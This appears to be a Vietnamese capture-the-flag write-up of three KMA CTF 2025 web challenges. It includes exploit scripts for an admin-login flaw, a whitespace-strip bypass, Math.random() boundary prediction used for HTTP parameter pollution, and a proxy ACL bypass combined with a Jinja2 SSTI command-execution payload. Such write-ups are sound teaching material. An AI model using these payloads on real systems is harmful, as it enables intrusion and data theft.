# KMA CTF 2025 II
Giải KMA CTF 2025 lần II vừa qua đã diễn ra rất thành công, mang lại cho mình những bài học mà mình tự nhắc bản thân sẽ phải ghi nhớ mãi. Trong khoảng thời gian 8 tiếng căng thẳng của cuộc thi, mình chỉ giải được 4/5 challenges thuộc mảng web.
Trong bài viết này, mình sẽ viết lại cách giải các challenges mà mình đã làm được trong lúc diễn ra cuộc thi và cả challenge mà mình làm được sau khi kết thúc giải. Một số challenges có hướng giải unintended mình cũng sẽ đề cập thêm.
Bắt đầu thôi nào! 🔥

## YDSYD
> You don't solve, you die
>
> author: **meulody**
>
> https://ydsyd.wargame.vn
>
> [ydsyd.zip](https://github.com/nartgnourt/ctf-archive/blob/main/2025/kma-ctf-2025-2/ydsyd.zip)
### Solution

Ở thử thách đầu tiên này, hướng intended sẽ là khai thác lỗ hổng Prototype Pollution để có thể lấy được flag. Tuy nhiên, trong lúc thi, mình đã làm theo hướng unintended nên mới lụm first blood. 🩸
Sau khi tải file challenge về và giải nén, chúng ta sẽ có 02 files như bên dưới:
```text
ydsyd
├── app.ts
└── docker-compose.yml
```
Theo thói quen, mình sẽ đọc file `docker-compose.yml` đầu tiên để biết có bao nhiêu service được sử dụng. Từ đó, có một cái nhìn tổng quát về challenge.
Chúng ta thấy chỉ có duy nhất một service là `ctf-bun`, sử dụng [Bun](https://bun.com) để chạy một web viết bằng TypeScript. Và chúng ta sẽ truy cập được vào server thông qua port `50002`, port này sẽ map với port `3000` của service đã mở trong container:
```yaml
version: '3.9'
services:
ctf-bun:
restart: unless-stopped
build:
context: .
dockerfile_inline: |
FROM oven/bun:latest
WORKDIR /app
RUN bun add jose
COPY app.ts .
EXPOSE 3000
CMD ["bun", "run", "app.ts"]
ports:
- "50002:3000"
```
Tại file `app.ts` cho chúng ta biết rõ cách server xử lý request. Server có 02 endpoints là `/login` và `/annyeong`.
Tại endpoint `/login`, lấy tên người dùng `user` từ request body (<font color="orange">line 21-22</font>), nếu người dùng đó tồn tại (là key của object `users`) thì sẽ tạo ra một token JWT (<font color="orange">line 26</font>) và trả về trong response.
Rõ ràng, chúng ta thấy ngay là có thể đăng nhập với người dùng tuỳ ý, ở đây có thể đăng nhập với `admin` và nhận về token JWT của admin:
```ts=
const users = {
alice: { configProto: {}, config: Object.create({}), isAdmin: false },
bob: { configProto: {}, config: Object.create({}), isAdmin: false },
admin: { configProto: {}, config: Object.create({}), isAdmin: true },
};
[...]
async function generateToken(username: string, isAdmin = false) {
return await new SignJWT({ user: username, isAdmin })
.setProtectedHeader({ alg: "HS256" })
.setIssuedAt()
.setExpirationTime("1h")
.sign(secretKey);
}
[...]
if (url.pathname === "/login" && request.method === "POST") {
try {
const body = await request.json();
const user = body.user;
if (!user || !users[user]) {
return new Response("User not found", { status: 404 });
}
const token = await generateToken(user, users[user].isAdmin);
return new Response(JSON.stringify({ token }), {
status: 200,
headers: { "Content-Type": "application/json" },
});
} catch {
return new Response("Invalid JSON", { status: 400 });
}
}
```
Tại endpoint `/annyeong`, khi chúng ta gửi POST request, nếu là admin (`isAdmin`) thì sẽ nhận được flag:
```ts=
const flag = "KMACTF{hehe}";
function getFlagGetter() {
return function () {
return flag;
};
}
const flagGetter = getFlagGetter();
[...]
async function authenticate(request: Request) {
const authHeader = request.headers.get("authorization");
if (!authHeader || !authHeader.startsWith("Bearer ")) return null;
const token = authHeader.slice(7);
try {
const { payload } = await jwtVerify(token, secretKey, {
algorithms: ["HS256"],
});
if (payload && typeof payload.user === "string" && users[payload.user]) {
return {
username: payload.user as string,
isAdmin: payload.isAdmin === true,
};
}
} catch {}
return null;
}
[...]
const auth = await authenticate(request);
if (!auth)
return new Response(
"Unauthorized. Use POST /login then POST /annyeong with Bearer token",
{ status: 401 }
);
const username = auth.username;
const isAdmin = auth.isAdmin;
const userInfo = users[username];
if (!Object.getPrototypeOf(userInfo.config)) {
Object.setPrototypeOf(userInfo.config, userInfo.configProto);
if (!userInfo.config.user) userInfo.config.user = { name: username };
}
[...]
if (url.pathname === "/annyeong" && request.method === "POST") {
try {
const data = await request.json();
merge(userInfo.configProto, data);
if (isAdmin) {
return new Response(flagGetter(), { status: 200 });
}
const template = "{{name}} says hello";
const result = sandboxTemplate(template, userInfo.config.user);
return new Response(result, { status: 200 });
} catch {
return new Response("Invalid JSON or sandbox error", { status: 400 });
}
}
```
Do server không ngăn chặn chúng ta đăng nhập với `admin` nên flow khai thác đơn giản là đăng nhập với `user` là `admin`:

Từ token có được, thêm vào header `Authorization` và gửi POST request tới `/annyeong` để lấy flag:

Script khai thác:
```python=
import requests
URL = "https://ydsyd.wargame.vn"
def login(user):
r = requests.post(url=f"{URL}/login", json={"user": user})
return r.json()["token"]
def get_flag(token):
r = requests.post(
url=f"{URL}/annyeong",
headers={"Authorization": f"Bearer {token}"},
json={},
)
return r.text
if __name__ == "__main__":
token = login("admin")
print(f"[+] FLAG: {get_flag(token)}")
```
### Flag
`KMACTF{Y1u__50lv3d_Y0u_L1ved??<3}`
## vibe_coding
> Note: Nếu chắc chắn solution của bạn đúng hãy mở ticket
>
> http://165.22.55.200:50004
>
> [vibe-coding.zip](https://github.com/nartgnourt/ctf-archive/blob/main/2025/kma-ctf-2025-2/vibe-coding.zip)
### Solution - Unintended

Cấu trúc thư mục của challenge như sau:
```
vibe_coding
├── docker-compose.yml
├── nodejs-server
│ ├── Dockerfile
│ ├── index.js
│ └── package.json
└── python-server
├── Dockerfile
├── main.py
└── requirements.txt
```
Cùng xem file `docker-compose.yml` trước, có 02 services là `nodejs-server` và `python-server`. Chúng ta chỉ có thể truy cập vào `nodejs-server` thông qua port `3000`, từ đó tương tác với service `python-server`:
```yaml=
version: '3.8'
services:
nodejs-server:
build:
context: ./nodejs-server
dockerfile: Dockerfile
container_name: ctf-nodejs-server
environment:
- PORT=3000
- JWT_SECRET=randomsecretkey
- PYTHON_SERVER=http://python-server:8080
ports:
- "3000:3000"
depends_on:
- python-server
networks:
- ctf-network
restart: unless-stopped
python-server:
build:
context: ./python-server
dockerfile: Dockerfile
container_name: ctf-python-server
environment:
- PORT=8080
- FLAG=KMACTF{REDACTED}
networks:
- ctf-network
restart: unless-stopped
networks:
ctf-network:
driver: bridge
```
Tiếp tới file `main.py`, Python server sử dụng Flask, có 03 routes xử lý chính là `/execute`, `/health` và `/`. Ở đây mình tập trung vào route `/execute` bởi nó quyết định chúng ta có thể nhận flag hay không.
Có thể thấy, `username` và `action` được lấy từ request body rồi được xử lý thông qua hàm `process_action(username, action)` (<font color="orange">line 46</font>), nếu `action` là `readFlag` và `username` là `admin` thì chúng ta lụm được flag:
```python=
def process_action(username, action):
"""Process different actions"""
if action == "foo":
return "bar", "Action 'foo' executed successfully", None
elif action == "readFlag":
if username == "admin":
return FLAG, "Flag retrieved successfully - you are admin!", None
else:
return "Access denied", f"Flag access denied for user '{username}' - admin privileges required", None
else:
return None, "", f"unknown action: {action}. Available actions: foo, readFlag"
[...]
@app.route('/execute', methods=['POST'])
def execute_handler():
"""Handle execute requests from Node.js server"""
try:
# Check if request has form data
if not request.form:
return send_error_response(
"Form parsing failed",
"No form data found in request",
400
)
# Extract form values
username = request.form.get('username', '').strip()
request_id = request.form.get('requestid', '').strip()
action = request.form.get('action', '').strip()
# Log request for debugging
logger.info(f"Received request - Username: {username}, RequestID: {request_id}, Action: {action}")
# Validate required fields
if not username or not request_id or not action:
return send_error_response(
"Missing required fields",
"username, requestid, and action are required",
400
)
# Process action
result, message, error = process_action(username, action)
if error:
return send_error_response("Action processing failed", error, 400)
# Send success response
response = {
"requestid": request_id,
"action": action,
"result": result,
"username": username,
"timestamp": get_timestamp(),
"message": message
}
return jsonify(response), 200
except Exception as e:
logger.error(f"Execute handler error: {str(e)}")
return send_error_response(
"Internal server error",
str(e),
500
)
```
Tiếp tới Node.js server Express.js, tại file `index.js`, chúng ta biết server sẽ có 04 routes chính là `/`, `/register`, `/login` và `/health`.
Tại route `/register`, server nhận `username` và `password` từ request body, bắt buộc phải có đủ 2 trường dữ liệu đó và kiểu dữ liệu phải là `string`, `username` phải có nhiều hơn 5 ký tự. Nếu thoả mãn sẽ lưu thông tin vào object `users` với key là `username` (<font color="orange">line 34-39</font>):
```js=
const users = {};
[...]
app.post('/register', async (req, res) => {
const { username, password } = req.body;
if (!username || !password) {
return res.status(400).json({
error: 'Username and password are required'
});
}
if( typeof username !== 'string' || typeof password !== 'string' ) {
return res.status(400).json({
error: 'Username and password must be strings'
});
}
// Validate username length (must be > 5 characters)
if (username.length <= 5) {
return res.status(400).json({
error: 'Username must be longer than 5 characters'
});
}
if (users[username]) {
return res.status(400).json({
error: 'User already exists'
});
}
try {
const hashedPassword = await bcrypt.hash(password, 10);
users[username] = {
username,
password: hashedPassword,
createdAt: new Date().toISOString()
};
res.json({
message: 'User registered successfully',
username: username,
hint: 'Now you can login to get JWT token'
});
} catch (error) {
res.status(500).json({
error: 'Registration failed',
message: error.message
});
}
});
```
Tại route `/login`, server cũng sẽ lấy 2 trường thông tin là `username` và `password` từ request body. Sau đó kiểm tra xem key `username` có tồn tại trong object `users` hay không (<font color="orange">line 16-21</font>). Nếu tồn tại người dùng và mật khẩu trùng khớp (<font color="orange">line 24-28</font>), chúng ta sẽ đăng nhập thành công và nhận được JWT token (<font color="orange">line 41-46</font>):
```js=
app.post('/login', async (req, res) => {
const { username, password } = req.body;
if (!username || !password) {
return res.status(400).json({
error: 'Username and password are required'
});
}
if(typeof username !== 'string' || typeof password !== 'string') {
return res.status(400).json({
error: 'Username and password must be strings'
});
}
const user = users[username];
if (!user) {
return res.status(401).json({
error: 'Invalid credentials'
});
}
try {
const validPassword = await bcrypt.compare(password, user.password);
if (!validPassword) {
return res.status(401).json({
error: 'Invalid credentials'
});
}
// Create JWT token
const token = jwt.sign(
{
username: user.username,
iat: Math.floor(Date.now() / 1000)
},
JWT_SECRET,
{ expiresIn: '24h' }
);
res.json({
message: 'Login successful',
token: token,
username: user.username,
hint: 'Use this token in Authorization: Bearer <token> header'
});
} catch (error) {
res.status(500).json({
error: 'Login failed',
message: error.message
});
}
});
```
Nếu có một token JWT hợp lệ, chúng ta có thể truy cập vào route `/action`, cung cấp action trong request body và gửi request tới Python server. Ở đây, dữ liệu được Node.js server gửi tới Python server bao gồm `requestid`, `action` và `username` (<font color="orange">line 44-47</font>):
```js=
const authenticateToken = (req, res, next) => {
const authHeader = req.headers['authorization'];
const token = authHeader && authHeader.split(' ')[1];
if (!token) {
return res.status(401).json({ error: 'Access token required' });
}
jwt.verify(token, JWT_SECRET, (err, user) => {
if (err) {
return res.status(403).json({ error: 'Invalid or expired token' });
}
req.user = user;
next();
});
};
[...]
app.post('/action', authenticateToken, async (req, res) => {
const { action } = req.body;
if (!action) {
return res.status(400).json({
error: 'Action parameter is required',
available_actions: ['foo', 'readFlag']
});
}
try {
// Create form data to send to Python server (to prevent param pollution)
const formData = new FormData();
formData.append('requestid', req.requestId);
formData.append('action', action);
formData.append('username', req.user.username);
console.log(`[${new Date().toISOString()}] Proxying to Python server:`, {
username: req.user.username,
requestId: req.requestId,
action: action
});
// Send request to Python server
const response = await fetch(`${PYTHON_SERVER}/execute`, {
method: 'POST',
body: formData
});
const pythonData = await response.json();
// Check if Python server returned an error
if (!response.ok) {
return res.status(response.status).json({
error: 'Python server error',
message: pythonData.message || pythonData.error || 'Unknown error',
python_response: pythonData
});
}
// Return response from Python server
res.json({
message: 'Action executed successfully',
nodejs_info: {
authenticated_user: req.user.username,
request_id: req.requestId,
action: action
},
python_response: pythonData
});
} catch (error) {
console.error('Error calling Python server:', error.message);
res.status(500).json({
error: 'Request failed',
message: error.message,
details: 'Unable to connect to Python server'
});
}
});
```
Như vậy, flow khai thác sẽ là tìm cách đăng nhập với người dùng `admin`, sau đó gửi POST request tới `/action` với `action` là `readFlag` để lấy flag.
Do không thể đăng ký `username` là `admin` bởi vì `admin` có 5 ký tự, chúng ta cần tìm một cách nào khác. Một điểm đáng chú ý là tại route `/execute` được xử lý bởi Python server, `username` lấy từ request body được gọi tới method [strip()](https://www.w3schools.com/python/ref_string_strip.asp), method này sẽ loại bỏ đi tất cả các khoảng trắng ở đầu và cuối chuỗi, nên chúng ta có thể bypass bằng cách đăng ký `username` là `admin\n`, ` admin`, v.v.
```python=
username = request.form.get('username', '').strip()
```
```sh
$ python3
Python 3.12.10 (main, Apr 8 2025, 11:35:47) [Clang 16.0.0 (clang-1600.0.26.6)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> "admin\n".strip()
'admin'
>>> " admin".strip()
'admin'
>>>
```
Tiến hành khai thác, mình gửi POST request tới `/register` để đăng ký tài khoản trước:
```json
{
"username": "admin\n",
"password": "admin"
}
```

Đăng ký tài khoản thành công, chúng ta có thể đăng nhập tại route `/login` để lấy token JWT:

Có được token JWT, chúng ta thêm nó vào header `Authorization` để request tới `/action` và lụm flag:
```http
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluXG4iLCJpYXQiOjE3NTkyODUxMzAsImV4cCI6MTc1OTM3MTUzMH0.AV4ZlbjOZGP9WFHlkQvmBldhA9cLu11HIPPZY_OhT0M
```

Script khai thác hoàn chỉnh:
```python=
import requests
URL = "http://165.22.55.200:50004"
def register(user):
r = requests.post(
url=f"{URL}/register",
json={"username": user["username"], "password": user["password"]},
)
if not r.json().get("error"):
print(r.json()["message"])
def login(user):
r = requests.post(
url=f"{URL}/login",
json={"username": user["username"], "password": user["password"]},
)
return r.json()["token"]
def action(action, token):
r = requests.post(
url=f"{URL}/action",
headers={"Authorization": f"Bearer {token}"},
json={"action": action},
)
return r.json()["python_response"]["result"]
if __name__ == "__main__":
user = {"username": "admin" + "\n" * 10, "password": "foobar"}
register(user)
token = login(user)
print(f"[+] FLAG: {action('readFlag', token)}")
```
### Solution - Intended
Về hướng intended, sau khi kết thúc giải mình mới ngồi làm được. Cách thức khai thác sẽ là dự đoán số random được dùng làm boundary trong request `multipart/form-data` khi gửi `fetch()`. Từ đó khai thác lỗ hổng [HTTP Parameter Pollution](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/04-Testing_for_HTTP_Parameter_Pollution) (HPP).
Mình bắt đầu bằng việc thử gửi fetch tới requestrepo để xem request sẽ trông ra sao:
```js
let form = new FormData();
form.append("requestid", "requestid");
form.append("action", "action");
form.append("username", "foobar");
fetch("https://er5n8xs5.requestrepo.com/", { method: "POST", body: form });
```

Rất bất ngờ khi chuỗi boundary có dạng `----formdata-undici-089689896837`, số ở cuối được tạo ngẫu nhiên:

Sửa file `docker-compose.yml` một chút để thử. Mình map port `1337` tới port `8080` của service `python-server` (<font color="orange">line 6-7</font>) để có thể truy cập trực tiếp tới Python server:
```yaml=
python-server:
build:
context: ./python-server
dockerfile: Dockerfile
container_name: ctf-python-server
ports:
- "1337:8080"
environment:
- PORT=8080
- FLAG=KMACTF{REDACTED}
networks:
- ctf-network
restart: unless-stopped
```
Mình thử gửi request tới `/execute`, nhưng thêm một trường `username` với giá trị `admin` vào phía trước trường `username` ban đầu được tạo bởi server. Có thể thấy Python server sẽ lấy giá trị của trường `username` xuất hiện trước:

Như vậy, với giá trị của `action` chúng ta kiểm soát, hoàn toàn có khả năng khai thác lỗ hổng HPP để chèn thêm trường `username` nếu chúng ta biết được boundary.

Mấu chốt là chúng ta cần tìm ra được số random để đưa vào `<RANDOM>`:

> [!Note]
> Giá trị của `requestid` cũng có thể bị kiểm soát nhưng sẽ không thể dùng để khai thác HPP bởi nó không thể chứa CRLF (`\r\n`) do được lấy từ request header `x-request-id`.
Vậy làm như nào để biết được chuỗi số random trong boundary?
Trước đó, mình có đọc được [CVE-2025-7783](https://github.com/form-data/form-data/security/advisories/GHSA-fjxv-7rqg-78g4) của thư viện `form-data`. Nó sử dụng `Math.random()` để tạo ra boundary cho `multipart/form-data` request, giá trị random này có thể dự đoán được nếu chúng ta biết một vài giá trị random trước đó.
Tìm kiếm thêm thì mình đọc được bài [report](https://hackerone.com/reports/2913312) trên HackerOne. Họ đề cập đến thư viện [undici](https://github.com/nodejs/undici) cũng sử dụng `Math.random()` để tạo ra boundary. Mà thư viện này lại được tích hợp vào Node.js v18+. 👀
Có thể thấy trong [source](https://github.com/nodejs/undici/blob/8b06b8250907d92fead664b3368f1d2aa27c1f35/lib/web/fetch/body.js#L113) của `undici`, boundary được tạo ra bằng cách nối `----formdata-undici-0` với giá trị random là chuỗi gồm 11 số, pad thêm `0` vào trước nếu số random tạo ra không đủ 11 số:

Theo bài report, để dự đoán giá trị tiếp theo được tạo ra bởi `Math.random()`, chúng ta cần biết một số giá trị trước đó. Thật tuyệt vời, ở challenge có hàm `generateRequestId()` thực hiện tạo ra số random y như cách mà `undici` sử dụng. Hàm này sẽ được gọi khi chúng ta gửi request **không** kèm theo header `x-request-id`:
```js
const generateRequestId = () => {
return Math.floor(Math.random() * 1e11)
.toString()
.padStart(11, "0");
};
[...]
// Middleware to add requestId to all responses
app.use((req, res, next) => {
if (req.headers["x-request-id"]) {
req.requestId = req.headers["x-request-id"];
} else {
req.requestId = generateRequestId();
}
// Add request ID to response headers
res.setHeader("X-Request-ID", req.requestId);
// Log request with ID
console.log(
`[${new Date().toISOString()}] Request ${req.requestId}: ${req.method} ${
req.path
}`
);
next();
});
```
Như vậy, flow khai thác sẽ là dự đoán giá trị của boundary sau đó khai thác HPP.
Để lấy giá trị random phục vụ cho việc dự đoán boundary, có thể lấy từ response header `X-Request-ID` hoặc gửi request tới `/health` như sau:

> [!Important]
> Khi đã đoán được giá trị của boundary tiếp theo, lúc gửi request tới `/action` cần phải thêm header `X-Request-ID` để tránh gọi hàm `generateRequestId()` ở middleware.
>
> Nếu không chỉ định header này, `generateRequestId()` sẽ gọi `Math.random()` để tạo ra một giá trị random nữa trước khi `fetch()` được gọi, khiến cho giá trị boundary bị thay đổi.
Script khai thác theo intended:
```python=
import requests
import subprocess
import json
from base64 import b64encode
URL = "http://localhost:3000"
URL = "http://165.22.55.200:50004"
proxy = {"http": "0:8080"}
def register(user):
json_data = {"username": user["username"], "password": user["password"]}
r = requests.post(url=f"{URL}/register", json=json_data, proxies=proxy)
if r.status_code == 200:
print(f"[+] User registered: {user['username']}")
def login(user):
json_data = {"username": user["username"], "password": user["password"]}
r = requests.post(url=f"{URL}/login", json=json_data, proxies=proxy)
return r.json()["token"]
def get_requestId():
sequence = []
for _ in range(10):
r = requests.get(
url=f"{URL}/health",
proxies=proxy,
)
sequence.append(r.json()["requestId"])
return sequence
def predict_boundary(sequence):
base64_sequence = b64encode(json.dumps(sequence).encode()).decode()
predict_boundary = subprocess.run(
["python3", "predict.py", base64_sequence],
check=True,
capture_output=True,
text=True,
).stdout
return predict_boundary
def execute(token, next_boundary):
json_data = {
"action": f'readFlag\r\n------formdata-undici-0{next_boundary.zfill(11)}\r\nContent-Disposition: form-data; name="username"\r\n\r\nadmin'
}
header = {
"Authorization": f"Bearer {token}",
"X-Request-ID": "Tranh goi ham generateRequestId()",
}
r = requests.post(
url=f"{URL}/action", headers=header, json=json_data, proxies=proxy
)
return r.json()["python_response"]["result"]
if __name__ == "__main__":
user = {"username": "foo" * 3, "password": "bar" * 3}
register(user)
token = login(user)
sequence = get_requestId()
next_boundary = predict_boundary(sequence)
flag = execute(token, next_boundary)
print(f"[+] FLAG: {flag}")
```
Nội dung của file `predict.py` trong [report.tar.xz](https://hackerone-us-west-2-production-attachments.s3.us-west-2.amazonaws.com/2i0sfsucc6rebgubrn8b04gc09xg?response-content-disposition=attachment%3B%20filename%3D%22report.tar.xz%22%3B%20filename%2A%3DUTF-8%27%27report.tar.xz&response-content-type=application%2Fx-xz&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAQGK6FURQTROI563P%2F20251004%2Fus-west-2%2Fs3%2Faws4_request&X-Amz-Date=20251004T091621Z&X-Amz-Expires=3600&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEMD%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLXdlc3QtMiJGMEQCIAGes3JR8GdjxhpgGCDh68bdcEt0Zy2kyLfK7FVExfZCAiBtp5kbQvVHkkpg%2BfXQGuYVKPvMsWQXcQAE5DXsH0Y18SqxBQhZEAMaDDAxMzYxOTI3NDg0OSIMkGHXlndBeMv1MyVvKo4Fa8SpR8GPjBZhqzvtVj2mrGd%2FCcCh6fNekxttPfBXq7NmbyuH2M7VYOIrXbsf4Q2p2vtBkw7q1w%2B%2BuC9V%2F3T3JirYsBcDOLLj6n8J6S6FHxdt1tgBwdH4jxKeqAb5wicVG6k5gJo0N18MQFGMdlw2rv6jBUUwC3EEcZPfZRy3B83P1uEQaoyp5XqfoTNKCp0mEpbh9uKOPyLJavM80bFnqQMwyy5UcHOiWUxZfAwbK4QKNNamYCUfp%2FlzlMQATeiOMAhrICjarfSuqDVyAK4Ka%2BQlqZfJs2ax%2B4vZ5Dx3hzq5irI%2BcPkXG%2BUt01lnWAF2kr9tS%2F7I5Ts%2FkrhLtEzpRCBqGjS3g06ZsfCLSrJxY0Lho89ActlqYqZBfaO2%2FPIz6jetXNFUw%2B9iiQ1ETIyAZErISxyJmVUvGCMNiWvUG4qWBKtiEGttZbXmjqSF%2BxEjEoMYIZBcvxJuh3QuvycPPJ8ob5TazUE6Ns57JpYcsxxjnB8YlGWYtk%2FOkKe9Vg05f%2Bon2X%2BtGHljVQB7orwGdTfkb5ULEB5%2BNFRSDUuYOrID%2BnddEOrdBkFgmmPla4yiRndMyDLq8S3duJXSV00Dr0Yi4pZ4DZytOGcMfhCC5xQHMyWpsXqvU2wncAgUPo8HtSwrWFp8mCVbxYzlhm7eetU5uBI%2BKXgE8ZzJgrNqXJbSzNU2QDvzjntRWlkr%2Fsgy8bzN1wPdBfub4P1k4WpFKSayXdPEft6SbyqXmKQ4RsE8aJWnTsnv32Ha0vhOgYEcj5V8pcDysVWWIrnFdQUIQIerUmIAgkzGd%2B%2BrMKYMWLU0UXStN0nS10k%2BcSQa5STpMCGjMWbXmoP3o%2F1stb9cOXmhBsGoh8QEA45Oes2AMJuog8cGOrIB%2FUyTDyXKgl1S%2FYI7YHJudMGYviDMrAqcrMdKZKC11qyEN6NBZLYj1vw44cdd5euAER6c6L9S%2BNHiUQXTWrwdfAtm2qxvr0g5U51cyqmXpoUs2wUWfa%2Bu6fKwP948vtmqI2TbujRs5SZC5CWtBAy5CfE2rPShHnNTE2YzH6p9l2UYS1q%2B5FtH7KqJIlLZs0wqrUMloXCJK7NZiyZeXKQx1K17nJzrQyKzFf8a4GYkHn4EQw%3D%3D&X-Amz-SignedHeaders=host&X-Amz-Signature=24716182cbd7b0ec84c1972fdb04b31638cd3afa7387703d8e878c2999aea4eb), dùng để đoán giá trị random mình lấy từ bài report [Usage of unsafe random function in undici for choosing boundary](https://hackerone.com/reports/2913312):
```python=
#!/usr/bin/python3
import z3
import struct
import sys
import base64
import json
sequence = json.loads(base64.b64decode(sys.argv[1]).decode())
sequence = sequence[::-1]
solver = z3.Solver()
se_state0, se_state1 = z3.BitVecs("se_state0 se_state1", 64)
for i in range(len(sequence)):
se_s1 = se_state0
se_s0 = se_state1
se_state0 = se_s0
se_s1 ^= se_s1 << 23
se_s1 ^= z3.LShR(se_s1, 17) # Logical shift instead of Arthmetric shift
se_s1 ^= se_s0
se_s1 ^= z3.LShR(se_s0, 26)
se_state1 = se_s1
solver.add(
int(sequence[i]) == ((z3.ZeroExt(64, z3.LShR(se_state0, 12)) * 1e11) >> 52)
)
if solver.check() == z3.sat:
model = solver.model()
states = {}
for state in model.decls():
states[state.__str__()] = model[state]
state0 = states["se_state0"].as_long()
u_long_long_64 = (state0 >> 12) | 0x3FF0000000000000
float_64 = struct.pack("<Q", u_long_long_64)
next_sequence = struct.unpack("d", float_64)[0]
next_sequence -= 1
print(int(next_sequence * 1e11))
```
### Flag
`KMACTF{how_can_you_pollute_param_@@_}`
## ACL and H1
> HTTP/1.1 phải chunk đã không còn an toàn?
>
> author: **chuongcd**
>
> http://165.22.55.200:50001
>
> [acl-h1.zip](https://github.com/nartgnourt/ctf-archive/blob/main/2025/kma-ctf-2025-2/acl-h1.zip)
### Solution - Unintended

Challenge này sẽ liên quan tới khai thác lỗ hổng [HTTP request smuggling](https://portswigger.net/web-security/request-smuggling) để có thể truy cập vào internal endpoint, từ đó trigger Jinja2 SSTI. Đó là cách mình làm theo intended, còn một hướng unintended sẽ là bypass proxy Apache Traffic Server bằng cách sử dụng URL Encoding.
Cấu trúc thư mục của challenge như sau:
```text
ACL_H1
├── backend
│ ├── app.py
│ ├── Dockerfile
│ ├── flag.txt
│ ├── gunicorn.conf.py
│ ├── requirements.txt
│ ├── static
│ │ └── assets
│ │ ├── ATS.png
│ │ ├── gunicorn.jpg
│ │ └── hint.png
│ ├── templates
│ │ ├── files.html
│ │ ├── index.html
│ │ └── upload.html
│ └── uploads
├── docker-compose.yml
└── proxy
├── Dockerfile
├── records.yaml
└── remap.config
```
Cùng xem file `docker-compose.yml`, có 02 services được sử dụng là `gunicorn-server` và `ats-proxy`. `ats-proxy` sẽ đóng vai trò là một reverse proxy, expose port `8188` để chúng ta có thể truy cập từ bên ngoài vào. Reverse proxy này sẽ forward request tới `gunicorn-server` chạy trên port `8088`:
```yaml
services:
gunicorn-server:
build:
context: ./backend
dockerfile: Dockerfile
container_name: gunicorn-server
expose:
- "8088"
networks:
- internal-network
ats-proxy:
build:
context: ./proxy
dockerfile: Dockerfile
container_name: ats-proxy
ports:
- "8188:8080"
depends_on:
- gunicorn-server
networks:
- internal-network
- default
networks:
internal-network:
driver: bridge
internal: true
```
Đọc file `app.py` để hiểu cách server xử lý request. Server định nghĩa 05 routes, đó là `/`, `/upload`, `/uploads/<folder>/<filename>`, `/files` và `/render`.
Route `/upload`, cho phép tải lên file có extension là `txt` hoặc `html` và được lưu trữ tại folder có dạng `uploads/<HEX(uuidv4)>/`, tên file cũng sẽ được đổi thành 16 ký tự hex random (<font color="orange">line 34-38</font>):
```python=
BASE_UPLOAD_FOLDER = 'uploads'
[...]
ALLOWED_EXTENSIONS = {'txt', 'html'}
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
[...]
@app.before_request
def log_request_info():
logger.info(f"REQUEST: {request.method} {request.path}")
if 'folder' not in session:
folder_name = uuid.uuid4().hex
session['folder'] = folder_name
session_folder_path = os.path.join(BASE_UPLOAD_FOLDER, folder_name)
os.makedirs(session_folder_path, exist_ok=True)
else:
session_folder_path = os.path.join(BASE_UPLOAD_FOLDER, session['folder'])
app.config['UPLOAD_FOLDER'] = session_folder_path
[...]
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
return "No file part"
file = request.files['file']
if file.filename == '':
return "No selected file"
if file and allowed_file(file.filename):
ext = file.filename.rsplit('.', 1)[1].lower()
random_str = uuid.uuid4().hex[:16]
filename = f"{random_str}.{ext}"
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
file.save(filepath)
return f"File uploaded successfully! Path: {filepath} <a href='/files'>See all files</a>"
return "File type not allowed"
return render_template("upload.html")
```
Route `/uploads/<folder>/<filename>` cho phép đọc nội dung của file tải lên với tên `folder` và `filename` chúng ta truyền vào path:
```python=
@app.route('/uploads/<folder>/<filename>')
def download_file(folder, filename):
folder_path = os.path.join(BASE_UPLOAD_FOLDER, folder)
return send_from_directory(
folder_path,
filename,
mimetype='text/plain',
as_attachment=False
)
```
Route `/render` này thực hiện render ra nội dung của file truyền vào qua tham số `filepath`. Tuy nhiên, do sử dụng hàm `render_template_string()` nên tại đây tồn tại lỗ hổng Jinja2 SSTI. Đây sẽ là sink để chúng ta có thể RCE đọc flag:
```python=
# Internal access to render
@app.route('/render')
def render_file():
filepath = request.args.get("filepath", "")
if not os.path.isfile(filepath):
return "File not found", 404
with open(filepath) as f:
content = f.read()
return render_template_string(f"<pre>{ content }</pre>")
```
Tiếp đến proxy, `Dockerfile` cho chúng ta biết proxy sử dụng [Apache Traffic Server](https://trafficserver.apache.org):
```dockerfile!
FROM trafficserver/trafficserver:10.0.4
COPY remap.config /opt/etc/trafficserver/remap.config
COPY records.yaml /opt/etc/trafficserver/records.yaml
EXPOSE 8188
CMD ["traffic_server", "-K"]
```
Proxy được cấu hình để chặn truy cập vào endpoint `/render` khi sử dụng request method `POST` hoặc `GET`:
```config
map /render http://gunicorn-server:8088/internal @action=deny @method=post @method=get
map / http://gunicorn-server:8088/
```
Nếu gửi request method khác, ví dụ như `OPTIONS`, chúng ta cũng không thể truy cập vào route `/render` trên server do proxy forward tới `/internal`. 👀

Trong lúc thi, mình có 2 ý tưởng:
- Khai thác HTTP Request Smuggling để gửi được request tới `/render` mà không bị proxy chặn.
- Bypass proxy bằng cách sử dụng thêm dấu `/`, ví dụ như `//render`.
Tuy nhiên, mình thử theo ý tưởng 2 không thành công nên đã giải challenge theo ý tưởng thứ nhất.
Sau khi kết thúc giải mình mới biết hướng unintended là encode URL dấu `/` thành `%2f` để truy cập được vào `/render`. Vì hướng unintended này làm nhanh hơn nên mình trình bày cách làm theo hướng này trước.
Trước tiên, chúng ta cần tải lên file với extension là `html` hoặc `txt`, ở đây mình đặt là `exploit.html`, bên trong chứa payload SSTI:
```html
{{ lipsum.__globals__.os.popen('cat /f*').read() }}
```

Truy cập vào route `/render` để trigger SSTI, cần encode URL dấu `/` thành `%2f`, truyền đường dẫn tới file vừa tải lên vào tham số `filepath`:

Mình có thử encode URL ký tự trong `render` thì cũng vẫn bypass được, bên dưới là encode ký tự `e` thành `%65`:

### Solution - Intended
